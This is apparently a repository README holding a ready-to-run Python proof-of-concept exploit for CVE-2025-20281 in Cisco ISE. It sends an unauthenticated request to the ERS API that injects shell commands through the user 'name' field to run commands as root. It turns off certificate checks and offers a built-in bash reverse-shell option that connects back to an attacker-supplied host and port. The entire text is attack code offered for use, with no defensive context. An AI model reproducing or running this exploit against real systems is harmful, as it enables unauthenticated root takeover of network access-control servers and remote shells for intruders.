README.md
Rendering markdown...
#!/usr/bin/env python3
import requests
import urllib3
import argparse
# suppress self‐signed cert warnings
urllib3.disable_warnings()
def exploit_cve_2025_20281_unauth(target, cmd):
"""
Sends a crafted POST to the InternalUser ERS API
without any authentication, injecting `cmd` into the name
field to get RCE as root.
"""
url = f"https://{target}:9060/ers/sdk#_"
#url = f"https://{target}/ers/sdk#_"
payload = {
"InternalUser": {
"name": f"pwn; {cmd}; #",
"password": "x", # dummy, ignored by vuln
"changePassword": False
}
}
# NO auth tuple here!
r = requests.post(url, json=payload, verify=False)
print(f"[+] HTTP {r.status_code}\n{r.text}\n")
def build_reverse_shell(lhost, lport):
return f"/bin/bash -i >& /dev/tcp/{lhost}/{lport} 0>&1"
if __name__ == '__main__':
parser = argparse.ArgumentParser(
description="Unauthenticated PoC for CVE-2025-20281 on Cisco ISE ERS"
)
parser.add_argument('target', help="IP or hostname of the ISE PAN")
group = parser.add_mutually_exclusive_group(required=True)
group.add_argument(
'--whoami',
action='store_true',
help="Run 'whoami' and print the result"
)
group.add_argument(
'--reverse',
nargs=2,
metavar=('LHOST', 'LPORT'),
help="Spawn a bash reverse shell to LHOST:LPORT"
)
args = parser.parse_args()
if args.whoami:
cmd = 'whoami'
else:
lhost, lport = args.reverse
cmd = build_reverse_shell(lhost, lport)
print(f"[*] Target: {args.target}")
print(f"[*] Command: {cmd}\n")
exploit_cve_2025_20281_unauth(args.target, cmd)